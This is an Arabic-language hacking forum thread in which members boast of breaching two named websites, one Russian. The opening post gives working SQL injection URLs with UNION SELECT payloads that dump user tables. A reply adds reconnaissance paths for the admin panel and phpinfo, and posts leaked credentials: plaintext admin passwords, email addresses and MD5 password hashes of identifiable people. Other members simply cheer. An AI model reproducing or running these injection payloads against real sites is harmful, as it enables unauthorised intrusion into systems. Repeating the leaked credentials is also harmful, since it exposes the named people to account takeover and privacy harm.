اختراق موقعين جديــــد...

[AMINE-3d]

تم والحمد لله اختراق موقعين روسيين

1:

كود PHP:

http://www.digitalflywheel.com/case.php?id=-4+union select 1,2,3,4,5,6,7,8,concat_ws%280x3a,username,0x3a,password%29+from+users+limit+1,1 


2:

كود PHP:

http://www.tristihii.ru/news-view.php?ID=9999999 union select 1,2,3,4,group_concat%28username,0x3a,userpass%29+from+poll_user-- 


[BackCover]

Bravo broo
continue

[qasim]

تسلم يا وحششششش

[CODE3]

bien faire

[خالد سعودي]

بعد اذن صاحب الموضوع بعد ماشوفت الرابط طلع صفحة في خطا ليس فيها باسبورد
***1054;***1064;***1048;***1041;***1050;***1040;

FATAL_ERROR! news.php: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' union***1042; select***1042; 1,2,3,4,group_concat(username,0x3a,userpass) from poll_user--' at line 1

بنسبة لي الموقع http://www.tristihii.ru/
بعد الفحص
تبين التالي ارجو جمع المعلومات اولا
الوحة التحكم
http://www.tristihii.ru/feedback/admin/
معلومات PHP Version 5.2.14 تفيدك كثير
http://www.tristihii.ru/phpinfo.php
http://www.tristihii.ru/icons/
http://www.tristihii.ru/robots.txt
Server: Apache
اسم القاعدة digital_dfw الجدول ssp2g_admins العمود username,password,email
النتيجة
[1] admin:dpc1s3@rch:jrigby@databasepublish.com:
[2] jbachana:biggie:joseph.bachana@databasepublish.com :
حولت ادخل لكن خطا ؟ نكمل على الموقع
اسم القاعدة digital_dfw الجدول users العمود username,password
النتيجة
[1] jbachana:e41d813551123414059fdc0d0c0eab8a:
[2] yevgeniy:e41d813551123414059fdc0d0c0eab8a:
[3] jtohfafarosh:31319e71736e81f80db023c40a2f9e85:
[4] tgardner:caf2514afe5ff1487452d38fa64e8135:
حولت فك الباسبود مافك معي ؟ على السريع
فمان الرحمن
تضامن مع الشعب السوري الحر

[AMINE-3d]

اقتباس المشاركة الأصلية كتبت بواسطة خالد سعودي بعد اذن صاحب الموضوع بعد ماشوفت الرابط طلع صفحة في خطا ليس فيها باسبورد ***1054;***1064;***1048;***1041;***1050;***1040; FATAL_ERROR! news.php: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' union***1042; select***1042; 1,2,3,4,group_concat(username,0x3a,userpass) from poll_user--' at line 1 بنسبة لي الموقع http://www.tristihii.ru/ بعد الفحص تبين التالي ارجو جمع المعلومات اولا الوحة التحكم http://www.tristihii.ru/feedback/admin/ معلومات PHP Version 5.2.14 تفيدك كثير http://www.tristihii.ru/phpinfo.php http://www.tristihii.ru/icons/ http://www.tristihii.ru/robots.txt Server: Apache اسم القاعدة digital_dfw الجدول ssp2g_admins العمود username,password,email النتيجة [1] admin:dpc1s3@rch:jrigby@databasepublish.com: [2] jbachana:biggie:joseph.bachana@databasepublish.com : حولت ادخل لكن خطا ؟ نكمل على الموقع اسم القاعدة digital_dfw الجدول users العمود username,password النتيجة [1] jbachana:e41d813551123414059fdc0d0c0eab8a: [2] yevgeniy:e41d813551123414059fdc0d0c0eab8a: [3] jtohfafarosh:31319e71736e81f80db023c40a2f9e85: [4] tgardner:caf2514afe5ff1487452d38fa64e8135: حولت فك الباسبود مافك معي ؟ على السريع فمان الرحمن تضامن مع الشعب السوري الحر

الله يحفضك اخي على المعلومات لكن انا عندي وقت طويل غايب عن الميدان ساسترجع هذه الايام ...